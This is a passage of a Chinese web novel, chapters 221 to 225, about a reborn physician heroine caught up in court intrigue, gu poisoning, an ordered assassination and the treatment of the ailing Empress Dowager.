前世的记忆不断涌现,那些被她刻意遗忘的画面此刻却清晰得可怕。她闭上眼,深吸一口气,努力平复着内心的波动。 马车在长乐宫前停下。 萧语柔下车时,看到了站在廊下的洛贵妃。那张倾城的面容上带着淡淡的笑意,却让人感到一丝寒意。 “语柔来了。”洛贵妃笑着说道,“快进来吧,外面凉。” 萧语柔福身行礼:“见过贵妃娘娘。” “起来吧,”洛贵妃亲切地扶起她,“今日宣你入宫,是有要事相商。” 萧语柔跟着洛贵妃进了内室,只见案几上摆着一盘棋,白子已经占据了大半盘面。 “会下棋吗?”洛贵妃问道。 “略懂一二。”萧语柔谦逊地答道。 “那就陪本宫下盘棋吧。”洛贵妃示意萧语柔坐下。 萧语柔看着棋盘,心中暗暗思索。这盘棋显然是之前就布好的,每一步都经过精心计算。 洛贵妃执黑子,轻轻落下一子:“听说你最近在查河堤的事?” “是。”萧语柔点头,“民生大事,不敢怠慢。” “可查到什么了?” 第二百二十一章 对弈 萧语柔执起白子,在棋盘上轻轻敲击:“还在查。不过...”她顿了顿,“有些事,或许不是表面看起来那么简单。” 洛贵妃露出一丝赞赏:“你很聪明。”她又落下一子,“可有时候,太聪明也未必是好事。” 萧语柔抬头,与洛贵妃对视:“娘娘这是在提醒我?” “算是吧,”洛贵妃淡淡地说,“你既然要查,就要想清楚,自己能承受什么样的后果。” 萧语柔沉默片刻,落下一子:“娘娘放心,我心中有数。” “但愿如此。”洛贵妃看着棋盘,“这盘棋,你觉得谁会赢?” 萧语柔仔细看了看局势:“黑子看似被围困,但只要找对突破口,未必没有胜算。” 洛贵妃轻笑一声:“说得好。不过...”她指着棋盘的一角,“有时候,看似安全的地方,才最危险。” 萧语柔心中一凛,明白洛贵妃这是在暗示什么。 就在此时,外面传来急促的脚步声。 “娘娘!”宫女慌慌张张地跑进来,“太后娘娘醒了!” 洛贵妃脸色微变,起身道:“本宫去看看。语柔,你先回去吧。” 萧语柔福身告退,走出长乐宫时,雨已经停了。 天边泛起鱼肚白,新的一天即将开始。而她知道,这不过是暴风雨来临前的宁静罢了。 “你说穆家小姐要说亲的事情,是从哪里听来的?”萧语柔坐在窗前的檀木椅上,手中的瓷杯袅袅升起一缕茶香。窗外的雨丝斜斜地飘落,将整个院子笼罩在一片朦胧之中。 林婆子搓着粗糙的双手,弓着腰往前凑了几步,脸上的褶皱堆出讨好的笑容:“是小妇人儿媳的邻居家说的。她家那个在穆府厨房帮工的媳妇,亲耳听见穆夫人和穆大人为此事争执呢!那天晚上,穆夫人的声音都快传到后院去了。” “可知道要许配给谁?” “这个...老奴就不知道了。”林婆子连连摇头,“不过听说是龙都里有头有脸的人家,那位公子也是读书人。” 萧语柔微微颔首,示意一旁的紫萱取些银两赏给林婆子。林婆子千恩万谢地接过荷包,又絮絮叨叨说了些穆府的闲事才告辞离开。 雨声渐大,檐角的水珠串成了帘。紫萱看着萧语柔若有所思的样子,轻声问道:“小姐是在担心穆家小姐吗?” “我在想,穆秋煜这一步棋,究竟是冲着谁来的。”萧语柔站起身,走到窗前。雨雾中的庭院显得格外幽深,就像穆秋煜那双永远看不透的眼睛。 紫萱很快带着消息回来,说穆氏只是简单看望了叶婉柔就离开了,期间并无异常举动。萧语柔听罢,吩咐下人继续留意穆氏的动向。 午后,秦氏带着珍珍来访。小家伙一进门就往萧语柔怀里扑,阿莺寸步不离地跟在后面。自从发现阿莺与珍珍相处甚欢,萧语柔便安排阿莺专门照看珍珍。这段日子下来,阿莺也养得圆润了些,脸上总带着温柔的笑意。 “你小舅舅今日要和上峰一同去查看被淹的农田,估摸着得等到月上柳梢才归。”秦氏一边安排人放下带来的补品,一边匆匆交代,“这些是我让人特意熬的补汤,你记得趁热喝。” 珍珍忽然神秘兮兮地凑到萧语柔耳边:“姐姐,我告诉你一个秘密。昨晚我听见有个叔叔求爹爹帮忙,说不想娶穆家的姐姐呢!那个叔叔说话的声音都在发抖呢!” 萧语柔眼神一凝,转头看向阿莺。后者会意,轻轻点头确认了珍珍的话。 “真是我们珍珍最厉害了,这么机灵。”萧语柔笑着揉了揉珍珍的小脑袋,“要不要吃姐姐特意准备的荷叶酥?” “要要要!”珍珍欢呼雀跃,眼睛亮晶晶的。 等紫萱带着珍珍去了隔间,阿莺才低声道:“那位柳公子已经来过几次了,每次都是求老爷帮忙推掉这门亲事。有两次太子殿下也在场,似乎对此事颇为关注。” 萧语柔轻轻敲击着桌面,思绪纷飞。这柳容熙,当初在她入宫期间,曾被齐婉设计引到一处私宅,却不想遇上了穆玉荷。当时的情形颇为尴尬,若非她及时赶到,只怕穆玉荷的名声就毁了。 这其中,穆秋煜又扮演着什么角色? 雨越下越大,豆大的雨点砸在院中的石板上,溅起一朵朵水花。秦氏见天色不好,便带着珍珍先行告辞。萧语柔送到门口,看着他们的身影消失在雨幕中。 夜幕降临,雨势不减。紫萱刚点起灯笼,外头就传来一阵急促的敲门声。 “小姐,是穆大人。”顾峰的声音透着几分警惕。 萧语柔蹙眉,示意紫萱取来油纸伞。她撑伞走到院门口,果然看见穆秋煜立在雨中,黑色的官服已经被雨水打湿,却丝毫不减他身上那股谷厉的气势。 “我母亲去过宁远伯府后便病倒了,”穆秋煜望着萧语柔,“我想问问七妹妹可知道些什么?” 萧语柔与他对视,雨丝打湿了她的青色长裙,却衬得她愈发清冷出尘:“穆大人夜访临门,所为何事?” “语柔...”穆秋煜轻声唤道,语气中带着几分前世的熟稔。 那声音让萧语柔心头一颤,她蹙眉将伞递给顾峰:“后院墙似乎塌了,你去看看。” 顾峰虽然担心,但还是领命离开。院中只剩下萧语柔和穆秋煜两人,雨声将周遭的一切都模糊了。 “穆大人若是为令堂的事而来,大可不必。”萧语柔淡淡道,“那日穆氏来访,不过是寻常拜访,并无特别之处。” 穆秋煜往前一步,雨水顺着他的发梢滴落:“你我之间,何必如此生分?” “生分?”萧语柔轻笑一声,“穆大人高居九品官员,与我一介布衣,本就是云泥之别。更何况...”她顿了顿,“我们本就不熟。” 穆秋煜的眼神陡然一暗。他当然知道,这一世的萧语柔,确实与他不熟。可前世种种,却如刀般刻在他心上,让他时时刻刻都无法忘怀。 “玉荷的婚事...”他忽然开口。 萧语柔打断道:“穆家的事,与我无关。” “你就真的一点都不关心?”穆秋煜紧盯着她,“当初在私宅,若不是你及时赶到...” “那是意外。”萧语柔后退一步,“穆大人若无别事,请回吧。夜深了。” 穆秋煜站在原地没动,雨水打湿了他的衣衫,却浇不灭他眼中的执着:“你变了很多。” “人都会变的。”萧语柔转身欲走。 “但我记得,你曾经说过...” 第二百二十二章 穆秋煜纠缠 “够了!”萧语柔猛地回头,“穆大人,请不要再说了。现在的我,与过去的我,都与你无关。” 穆秋煜望着她决绝的背影,忽然笑了:“是啊,你确实变了。不过...”他的声音在雨中显得格外清晰,“我等着看,你能坚持多久。” 萧语柔的脚步一顿,但很快便消失在廊下的灯光中。 雨夜里,穆秋煜独自伫立良久,直到顾峰回来,他才转身离去。雨水模糊了他的身影,也模糊了他眼中晦涩难明的情绪。 雨丝如烟,细密地笼罩着整个龙都。萧语柔站在窗前,望着院中那株老梅树,枝头已经冒出了嫩绿的新芽。春天悄然而至,却带来了一丝不安的气息。 “小姐,穆大人来了。”紫萱轻声禀报。 萧语柔微微蹙眉,转身走向前厅。她刚坐下,穆秋煜就大步流星地走了进来,身后跟着几个侍卫。 “七妹妹,好久不见。”穆秋煜笑容温和,眼中却闪烁着复杂的光芒。 萧语柔淡淡地点头:“穆大人有何贵干?” 穆秋煜在她对面坐下,目光不经意地扫过厅内,最后落在顾峰身上。那个高大的男子站在萧语柔身后,神情冷峻。 “我来是想请七妹妹帮个忙。”穆秋煜收回目光,语气诚恳,“母亲病了,一直不见好转。听闻七妹妹医术高明,不知能否......” 萧语柔打断他的话:“穆大人身为萧太医的得意门生,想必医术不在我之下。穆夫人的病,恐怕不是我这个外人能插手的。” 穆秋煜笑道:“七妹妹太谦虚了。你的医术,我可是久仰大名啊。” 萧语柔心中警惕,面上却不动声色:“穆大人过奖了。不知穆夫人患的是什么病?” “咳嗽、发热、浑身无力......”穆秋煜一一列举症状,“最近还出现了幻觉。” 萧语柔听完,眉头微皱:“这症状......” “怎么?七妹妹有什么发现吗?”穆秋煜急切地问道。 萧语柔沉吟片刻,缓缓说道:“若我没猜错,穆夫人可能是中了蛊毒。” 此言一出,穆秋煜脸色骤变,萧语柔敏锐地捕捉到了这一细节,心中更加确定了自己的猜测。 “蛊毒?”穆秋煜强作镇定,“七妹妹何出此言?” 萧语柔淡然一笑:“穆大人不必紧张。我只是根据症状推测,或许是我想多了。” 穆秋煜深吸一口气,勉强笑道:“七妹妹说笑了。龙都哪来的蛊毒?想必是我描述不清,让七妹妹误会了。” 萧语柔不置可否,只是淡淡地说:“既然如此,穆大人还是请萧太医诊治吧。我医术浅薄,怕是帮不上忙。” 穆秋煜见她态度坚决,也不好再强求。他起身告辞,临走时意味深长地看了顾峰一眼。 待穆秋煜离开,萧语柔长舒一口气,靠在椅背上。顾峰上前一步,低声问道:“小姐,要不要我去查查穆夫人的情况?” 萧语柔摇摇头:“不必了。穆秋煜此来,恐怕另有目的。” 顾峰神色凝重:“小姐是说......” “他怀疑我。”萧语柔冷笑一声,“不仅是穆夫人的病,恐怕连墨王府的事,他也起了疑心。” 顾峰握紧拳头:“那我们该怎么办?” 萧语柔沉思片刻,说道:“兵来将挡,水来土掩。穆秋煜若真有证据,今日就不会这般试探了。我们静观其变即可。” 顾峰点点头,退回原位。萧语柔看着他高大的身影,心中五味杂陈。上辈子,这个男人成了令人闻风丧胆的反贼,不知今生是否还会重蹈覆辙。 夜幕降临,萧语柔独自坐在书房,翻阅医书。紫萱轻手轻脚地端来一盏茶,小声说道:“小姐,该歇息了。” 萧语柔抬头,才发现烛火已经燃了大半。她合上书,揉了揉酸涩的眼睛:“紫萱,你说我这么做,到底对不对?” 紫萱一愣,随即明白了小姐的意思。她犹豫片刻,轻声说:“小姐,奴婢觉得,您做得很对。那些无辜的百姓,不该因为一个人的野心而丧命。” 萧语柔苦笑:“可我总觉得,自己像个局外人,冷眼旁观着一切。明明知道未来会发生什么,却又不能完全改变......” 紫萱跪下,握住萧语柔的手:“小姐,您已经尽力了。能救一个是一个,不是吗?” 萧语柔沉默良久,终于点点头:“你说得对。我们能做的,就是尽力而为。” 第二天一早,萧语柔刚用完早膳,就听到外面一阵喧哗。她走出院子,只见一群人簇拥着一辆马车停在门口。 “这是怎么回事?”萧语柔皱眉问道。 萧瑾快步上前,低声禀报:“小姐,是穆夫人来了。” 萧语柔心中一惊,还未来得及说什么,就见穆秋煜从马车上跳下来,脸色焦急:“七妹妹,求你救救我母亲!” 萧语柔冷冷地看着他:“穆大人,你这是何意?” 穆秋煜一把抓住她的手腕:“七妹妹,我知道你有办法。母亲的病情突然恶化,连萧太医都束手无策。求你了,只有你能救她!” 萧语柔挣脱他的手,后退一步:“穆大人,你冷静点。我昨日已经说过,我医术浅薄,怕是帮不上忙。” “七妹妹,你就当可怜可怜我吧。母亲若有个三长两短,我......” 萧语柔看着他痛苦的表情,心中不禁动摇。她知道,穆秋煜虽然心机深沉,但对母亲的感情却是真挚的。 “罢了。”萧语柔叹了口气,“我去看看吧。但我不敢保证能治好穆夫人的病。” 穆秋煜如蒙大赦,连连道谢。萧语柔跟着他来到马车前,掀开车帘,就见穆夫人面色苍白地躺在里面,呼吸微弱。 萧语柔仔细诊脉,眉头越皱越紧。果然如她所料,穆夫人中的是一种罕见的蛊毒。这种毒不仅难以察觉,更是难以解除。 “穆大人,你母亲的情况很不乐观。”萧语柔收回手,沉声说道,“我需要一些特殊的药材,不知你能否准备?” 穆秋煜连忙点头:“只要能救母亲,什么药材我都能弄到!” 萧语柔报出一串药名,穆秋煜立刻吩咐人去准备。趁着这个空档,萧语柔又仔细检查了穆夫人的症状。 “小姐,”顾峰低声问道,“真的能解吗?” 萧语柔微微摇头:“很难。这种蛊毒极为霸道,若不是下毒之人主动解除,几乎没有治愈的可能。” 顾峰神色凝重:“那您为什么还......” “我总得试试。”萧语柔苦笑,“况且,这也是个机会。” 顾峰若有所思地点点头。 第二百二十三章 蝮虺 不多时,穆秋煜带着药材回来了。萧语柔接过药材,开始配制解药。她的动作娴熟而优雅,仿佛在进行一场精妙的舞蹈。 穆秋煜在一旁看得入神。他不禁想起前世的萧语柔,那个为了救他而拼命学医的女子。如今的她,医术竟然已经超越了自己。 “好了。”萧语柔将配好的药递给穆秋煜,“让穆夫人服下吧。” 穆秋煜小心翼翼地接过药碗,亲自喂母亲服下。众人屏息凝神,等待奇迹发生。 然而,过了许久,穆夫人的情况并没有好转。穆秋煜脸色阴沉,转向萧语柔:“七妹妹,这是怎么回事?” 萧语柔叹了口气:“穆大人,我已经尽力了。你母亲中的毒太过霸道,恐怕......” “你骗我!”穆秋煜突然怒吼,“你明明有办法,为什么不肯救我母亲?” 萧语柔冷冷地看着他:“穆大人,你这是什么意思?” 穆秋煜咬牙切齿地说:“墨王府的祛蛊灵丸、晔妃和岑陌身边出现的香丸,全都出自你之手。你有这样的本事,怎么可能救不了我母亲?” 此言一出,周围一片哗然。萧语柔面色不变,淡淡地说:“穆大人,你这是在污蔑我吗?” 穆秋煜从怀中取出一只白玉小瓶,倒出一条如米粒般大小的虫子:“这是从母亲体内取出的蝮虺。我已经查清楚了,这种蝮虺只有南疆才有。七妹妹,你还有什么好说的?” 萧语柔看着那条死去的蝮虺,心中一沉。她没想到,穆秋煜竟然查得这么清楚。 就在这时,穆夫人突然剧烈咳嗽起来,吐出一口黑血。穆秋煜大惊失色,连忙去查看母亲的情况。 萧语柔趁机后退几步,低声对顾峰说:“准备马车,我们得离开了。” 顾峰点点头,悄悄退出去安排。萧语柔深吸一口气,对穆秋煜说:“穆大人,我真的已经尽力了。若你不信,大可去找萧太医求证。” 穆秋煜抬起头,眼中满是怒火:“萧语柔,你别想逃!来人,给我拿下她!” 萧语柔冷笑一声:“穆大人,你可要想清楚。若是抓了我,你母亲的命可就真的保不住了。” 穆秋煜一愣,犹豫片刻,终于咬牙说道:“放她走。” 萧语柔转身离去,身后传来穆秋煜咬牙切齿的声音:“萧语柔,这事没完!” 马车疾驰而去,萧语柔靠在车厢上,长舒一口气。顾峰担忧地问:“小姐,我们现在去哪儿?” 萧语柔闭上眼睛:“回墨王府。” 顾峰一惊:“可是......” “我知道。”萧语柔睁开眼,目光坚定,“但那里是唯一安全的地方。况且,我们也该做个了断了。” 马车渐行渐远,消失在细雨朦胧中。这场风波,才刚刚开始。 “他们本就不在乎我的面子。”萧语柔淡淡一笑,目光透过雨帘望向远方模糊的山影。 雨水顺着车厢滴落,在泥泞的道路上溅起细小的水花。车厢内弥漫着一股淡淡的檀香,混合着雨水的清冽气息。她收回目光,从马车边的抽屉里取出一个精致的红漆点心盒,递给一旁正襟危坐的萧瑾。 “方才表现得不错,这是给你的奖励。” 萧瑾眼睛骤然一亮,像只得到松果的小松鼠般欢快地接过盒子。她小心翼翼地打开盖子,一股甜腻的香气立刻溢满了整个车厢。 “姐姐最好了!”萧瑾抱着点心盒子,蹭到角落里独自享用起来。她圆圆的脸蛋因为开心而泛起红晕,时不时发出满足的咂嘴声。 紫萱见紫萱眉头紧锁,忙凑近低声安慰:“紫萱姐姐别担心,小姐做事向来稳妥。” 紫萱勉强扯出一抹笑容:“是啊。”可眼底的忧虑却怎么也掩饰不住。她偷偷瞥了眼自家小姐,又叹了口气。 马车在泥泞的山路上缓慢前行,车轮碾过石子发出咯吱咯吱的响声。偶尔一个颠簸,车厢里的人就不得不扶住身边的把手。雨势渐小,但天色依旧阴沉,仿佛压着一块厚重的铅板。 约莫两个时辰后,马车终于在一处偏僻的村落外停了下来。车夫冒着细雨下车查看路况,很快又回来禀报。 “小姐,前面山路太窄,又泥泞不堪,马车恐怕过不去了。要么换骑马,要么就在此处等候。据说老爷应该午时会到附近用饭。” 萧语柔掀开车帘望了望外面的天色。细雨如丝,远处的山峦若隐若现,空气中弥漫着泥土的腥气。她略作思索,道:“那就在此等候吧。” 她带着众人寻了户农家暂歇。农家的院子不大,几棵老槐树遮挡着细雨,地上铺着青石板,虽然简陋却收拾得干净整洁。 刚进院子,萧语柔就看见一个熟悉的身影正站在廊下拧着衣袖上的水珠——是林妈妈。 “嬷嬷怎会在此处?”萧语柔微微蹙眉。林妈妈是定王府的老人,在这偏僻山村遇见她,着实令人意外。 林妈妈抖了抖衣袖上的水珠,快步走到萧语柔身边,压低声音道:“王爷正与叶大人一同查案。自那地宫中发现定王府的物件后,王爷立马自告奋勇前来救助。皇上也准了。” 她意味深长地看了萧语柔一眼,继续道:“那地宫里不止有定王府的东西,还有墨王府和太上皇的物件,其中太上皇的东西最多。” “太上皇?”萧语柔眸光一闪,手指不自觉地捏紧了袖口。 林妈妈笑着眨眨眼:“明哲保身,王爷岂是那么容易被算计的?” 萧语柔心下了然,即便没有前世记忆,岑陌依然能预见到这些事。她不禁暗暗感叹他的智谋。雨水打在槐树叶上发出沙沙的响声,仿佛在诉说着什么不为人知的秘密。 “王爷担心灾后易生疫病,见到县主驾到,不如开个方子,熬药分给百姓。”林妈妈提议道,目光中带着几分期待。 “正合我意。”萧语柔点头应下。她转身吩咐紫萱取来笔墨纸砚,开始写起药方来。 林妈妈刚离开,农家女主人便带着几个孩子出来。 “原来是未来的定王妃,草民失礼了。”农妇行了个笨拙的礼,随即招呼孩子们将家中的土鸡蛋、刺绣等物品往萧语柔面前搬。 萧语柔连忙摆手:“这是何意?” “这是小的们一点薄礼。”农妇指了指门外。 萧语柔这才发现,院门外不知何时聚集了许多村民。他们衣着虽然破旧,脸上却洋溢着真诚的笑容。有的抱着竹篮,有的提着布袋,个个面带羞涩却又充满期待。 第二百二十四章 定王善行 “王爷来治灾,不但没要我们的银钱,还给了异域的种子。” “还请皇上免了今年的赋税。” “我家孩子冲撞了王爷的马车,王爷倒是一点都不恼,还给了糖果。” 村民们你一言我一语,说起定王的种种善行。萧语柔听着,几乎能想象到岑陌微皱眉头、一脸冷漠的模样。那个看似不近人情的男人,原来一直在默默关心着百姓。 她让人搬来条长凳,学着父亲当年的样子,与村民们闲聊起来。除了灾情,她还细细打听了近半年来村中外人出没的情况。 紫萱在一旁认真记录,不时抬头看看天色。农妇不解道:“我们这些闲话也有用?” “一切可疑之处,都值得关注。”萧语柔轻声说着,又让紫萱分发点心给孩子们。孩子们欢呼雀跃,围着紫萱叽叽喳喳说个不停。 百姓们看到有机会搭把手,更是热情地说起外人的事。有人提到前些日子来了个算命的瞎子,总爱打听村里的事;还有人说见过几个穿着华贵的商人,深更半夜在村外鬼鬼祟祟。 萧语柔一边听着,一边在心里梳理这些线索。她知道,这些看似零散的信息,或许就是解开谜团的关键。 雨渐渐停了,阳光透过云层洒下斑驳的光影。远处传来马蹄声,萧语柔抬头望去,只见岑陌和叶成江骑马而来。 岑陌一身玄色劲装,英姿勃发。 叶成江跟在后面,看到这热闹的场面,不由得露出赞赏的笑容:“县主果然深得民心。” 萧语柔起身相迎,却见岑陌已经大步走到她面前。他低头看着她,声音低沉:“怎么来了?” “想您了。”萧语柔眨眨眼,故意逗他。 岑陌轻哼一声,转身走向屋内。萧语柔跟上去,将方才打听到的消息一一告诉他。 院子里的村民们看着这一幕,脸上都露出会心的笑容。他们知道,有这样的王爷和王妃,日子一定会越过越好的。 萧语柔站在窗前,望着院中飘落的花瓣,心绪难平。 “为何不说话?”岑陌的声音从身后传来,温和中带着一丝关切。 她没有立即回答,只是轻轻咬住下唇。院中的花瓣依旧在飘落,就像前世那些支离破碎的记忆,不断在脑海中闪现。 岑陌缓步走近,站在她身侧。阳光勾勒出他挺拔的轮廓,在地上投下修长的影子。“有什么事,可以告诉我。” 萧语柔转过身,对上他深邃的目光。那双眼睛仿佛能看透人心,让她几乎无法维持表面的平静。 “我...”她的声音有些颤抖,“我不知道该从何说起。” 岑陌伸手轻轻拂去落在她肩上的花瓣,声音温柔却坚定:“不必担心,有我在。即便要与天下为敌,我也愿意。” 这句话像一颗石子投入平静的湖面,激起层层涟漪。萧语柔感觉心脏被什么东西狠狠揪住,酸涩感涌上喉头。 她深吸一口气,终于下定决心将事情娓娓道来:“穆秋煜...他不是表面看起来那么简单。” “从最初在街市上的偶遇,到后来的每一次相遇,都是他精心安排的。”说到这里,她的声音带上了一丝苦涩,“包括顾峰和阿桐的事,也是他在背后推动。” 岑陌的眸色渐渐变冷,但他没有打断她的话,只是安静地听着。 “他利用御医院的身份,接近各个府邸的内眷。那些看似偶然的病症,背后都有他的影子。”“我原本以为他只是个野心勃勃的太医,直到...” 她突然停住,有些话始终说不出口。关于前世的死亡,那些痛苦的记忆,她选择了沉默。 岑陌察觉到她的异样,伸手覆上她冰凉的手:“不必勉强自己。” 屋外忽然传来脚步声,打断了两人的谈话。林妈妈在门外轻声禀报:“王爷,时辰不早了。” 岑陌眸中寒光一闪,转身大步走出农家小院。他周身笼罩着一层凛冽杀气,连迎上来的林妈妈都不由得打了个寒颤。 “王爷...”林妈妈试探着开口。 “杀穆秋煜。”岑陌的声音冷得像三九寒天的冰。 林妈妈面露难色:“可是王爷,穆秋煜现在不止与太子有关,还...” “本王说,杀。”岑陌打断她的话,眼中杀意更甚。 林妈妈不敢再劝,匆匆去安排了。 当夜,穆秋煜刚从御医院回到府中,院中的灯笼在风中摇曳,投下诡异的影子。他刚推开书房的门,就察觉到不对劲。 “是谁?”他警惕地环顾四周。 黑暗中突然窜出数道身影,将他团团围住。穆秋煜面色一变,手快速探向袖中:“是谁派你们来的?” 他掏出一包毒粉,却被一道寒光逼得后退。黑衣人出手快准狠,招招致命。 “啊!”穆秋煜右臂中刀,鲜血顺着袖子流下。他还想挣扎,却见刀光再次袭来。 就在这千钧一发之际,一道身影从墙头跃下,落入院中。 是雨清。 领头的黑衣人见状,立即打了个手势。其余人会意,转眼间消失在夜色中。 穆秋煜这才有机会查看伤势,当发现右臂的筋脉被挑断时,他的脸色瞬间变得惨白。全身的伤口都在渗血,但最致命的是这条手臂。 这意味着他再也无法行医。两世为医的心血,毁于一旦。 “还真是...天意。”他发出一声冷笑。 雨清冷眼旁观,对他受的伤一点也不在意:“你说过知道对付岑陌的办法。” 穆秋煜望着自己已经无法动弹的右手,眼中闪过一丝阴狠:“马上就真相大白了。这个教训,他会记一辈子。” 几日后,兰梨嬷嬷来到萧府。她的面色凝重,眼中带着焦急:“请县主入宫为太后诊治。” 萧语柔跟着她穿过重重宫门,发现宫中气氛已与往日大不相同。往日热闹的廊下空无一人,处处透着肃穆沉重。 她知道,除了太后病重,还有一件更大的风波正在酝酿。有人攀咬晔妃当年包庇洛贵妃与人私通,这件事在前世掀起了惊天波澜,最终导致多位嫔妃殉葬。 第二百二十五章 医治太后 太后的寝宫内,萧太医向她详细说明了病情。屋内点着安神的檀香,却掩盖不住那股令人心悸的气息。 萧语柔仔细诊过脉后,缓缓开口:“我还有半株蓬莱玉珊,配合还魂丸,或许能让太后暂时清醒。但能维持多久,我也说不准。” 兰梨嬷嬷眼中露出一丝希望:“如此便好,只要能让太后醒来说句话也是好的。” 萧语柔亲自煎药,由兰梨嬷嬷小心翼翼地喂太后服下。药香在室内弥漫,带着一丝苦涩的气息。 “需要等一会儿才会醒。”她说着,正要继续观察太后的情况。 突然,外面传来太监尖细的通传声:“九公主到!” 萧语柔心头一紧,她知道,一场更大的风暴即将来临。 萧语柔替九公主擦拭眼泪时,指尖微微发颤。眼前这个穿着杏色宫裙的小姑娘,哭得梨花带雨,眼睛红肿得像两颗核桃,让人看了不免心生怜惜。 殿内檀香袅袅,映着窗外斑驳的树影,九公主抽抽噎噎地抬起头,泪珠还挂在长睫毛上:“县主姐姐,祖母娘娘的身子骨能撑住不?” “会好的。”萧语柔轻轻抚摸着她的发顶,触手一片柔滑,“公主这般孝顺,太后娘娘一定能感受到的。” 九公主揉了揉通红的眼睛,声音带着浓重的鼻音:“皇祖母对我最好了。我每天都在抄经文,求菩萨保佑皇祖母祥宁。”说着,她从袖中掏出一叠经文,纸张已经被翻得有些发皱,边角处还沾着些许泪痕。 萧语柔注意到小姑娘身边少了个熟悉的身影,不禁蹙眉问道:“九公主的奶嬷嬷呢?往日这个时辰,她不是都陪在公主身边吗?” “嬷嬷病了。”九公主低着头,“兰梨嬷嬷请太医去看过,现在还在养病。”说着又红了眼眶,声音越来越小,“我求菩萨保佑她们都能好起来。” 看着小姑娘萧萧可怜的模样,萧语柔心中一软,张开双臂:“要姐姐抱抱吗?” 九公主几乎是立刻就扑进了她的怀里,小小的身子还在微微发抖。萧语柔能感受到她的不安和害怕,轻轻拍着她的背,直到兰梨嬷嬷匆匆而来。 “九公主。”兰梨嬷嬷站在殿门口,欠身行礼,“太后娘娘醒了。” 九公主抬起头,泪眼朦胧地看向萧语柔。萧语柔温柔地替她整理了下衣裳:“咱们赶紧去探望老佛爷吧?” 九公主犹豫地看向兰梨嬷嬷,得到允许后才跟着萧语柔往太后寝宫走去。一路上,宫女太监们纷纷避让,低头行礼。 寝殿内,浓郁的药香弥漫。几位太医正围着太后的龙榻,见到萧语柔便纷纷投来热切的目光,显然都想讨要那神奇的药方。 太后轻咳一声,声音虽然虚弱,但仍带着不容置疑的威严:“你们都退下吧,留下张秉和乐宁就够了。” 待太医们退下,太后的目光落在九公主身上,眼神柔和了几分:“小九,过来。” 九公主怯生生地走到榻前,小手紧张地攥着衣角:“皇祖母好些了吗?” “好多了。”太后微笑着说,伸手摸了摸她的头。 兰梨嬷嬷适时开口:“九公主这些日子日夜抄经祈福,想必是菩萨听到了公主的心意。” 太后注意到九公主手上的茧子,眼中闪过一丝心疼。待用过汤药,她又唤来萧语柔:“听说你还有个弟弟?” “是,在跟慕老将军习武。”萧语柔恭敬答道。 “明日让他和慕霄一同入宫。”太后意味深长地看着萧语柔,“放心,要不是你出手相助,哀家早就驾鹤西去了,自然少不了你的好处。” 待人都退下后,太后吩咐兰梨嬷嬷为九公主上皇家文牒,并将她交由晔妃抚养。这一举动不仅是对九公主的保护,更是对晔妃的信任。 次日,慕老将军与萧星朗入宫觐见。虽然无人知晓太后与他们谈了什么,但萧星朗却获封承安县男,一时间朝野震动。有人说这是太后对萧家的恩宠,也有人暗中揣测其中深意。 而太后接连的举动,不仅平息了晔妃的流言,更是展现出对萧家的厚爱。一时间,原本蠢蠢欲动的各方势力都安静了下来。 然而,平静的表面下暗流涌动。 雅贵妃的寝宫内,檀香缭绕,琳嫔正小心翼翼地给主子捏腿:“娘娘,这波操作铁定要黄。那萧语柔竟真的医好了太后。” “萧语柔当真有这般本事?”雅贵妃冷冷问道。 见琳嫔不语,她又道:“你可听说了另一个流言?说岑陌不是洛贵妃亲生,而是与御医院的穆御医被人调换了。” 琳嫔吓得跪地,额头直接磕在了冰凉的地砖上:“娘娘,这话万万不可乱传!” “怎么,不是你先听来告诉本妃的吗?”雅贵妃意味深长地看着她,手指轻轻敲击着扶手,“你哥哥的事还卡在东宫,万一陛下察觉到了端倪......” 琳嫔浑身一颤,额头上渗出细密的汗珠。她知道,自己已经没有退路了。咬了咬牙,她心一横:“是,臣妾的确听说过这样的传言。” 雅贵妃满意地点头,随即唤来心腹宫女,将这消息传了出去。她相信,这个消息很快就会在宫中传开,到时候...... 与此同时,晔妃寝宫。 “娘娘,九公主已经安置好了。”贴身宫女小声禀报。 晔妃放下手中的佛经,眉头微蹙:“她还在哭吗?” “是,奴婢们怎么哄都不管用。” 晔妃叹了口气,起身道:“本宫去看看。” 九公主的寝室内,小姑娘正抱着膝盖缩在床角,听到脚步声也不抬头。晔妃在床边坐下,轻声道:“小九,皇祖母这是为你好。” “可是......”九公主抽噎着,“可是我想回自己的宫里。” 晔妃伸手将她揽入怀中:“乖,等风头过去了,你就可以回去了。” 九公主抬起泪眼:“真的吗?” “嗯。”晔妃温柔地替她擦去泪水,“现在先好好休息,明日本宫带你去放风筝可好?” 九公主终于破涕为笑,重重地点了点头。 夜色渐深,宫中各处都燃起了灯火。萧语柔站在自己的院子里,望着天上的明月,心中思绪万千。太后的举动,九公主的调动,还有萧星朗的封赏,这一切来得太快,快得让她有些措手不及。 她知道,这不仅仅是太后的恩宠,更像是一场精心布置的棋局。只是,她还看不清自己在这局中究竟扮演着什么角色。 远处传来更声,打断了她的思绪。萧语柔收回目光,转身回到房中。不管前路如何,至少现在,她需要好好休息,养精蓄锐。 萧语柔站在池边,手中的鱼食洒落水面,激起一圈圈涟漪。阳光透过树叶的缝隙洒在水面上,碎金般闪烁。她望着池中游动的锦鲤,思绪却飘向了远方。 “欺软怕硬,不外如是。”她轻笑一声,想到穆秋煜几乎住进了雨清的驿馆。那人向来精明,此番举动倒是难得糊涂了一回。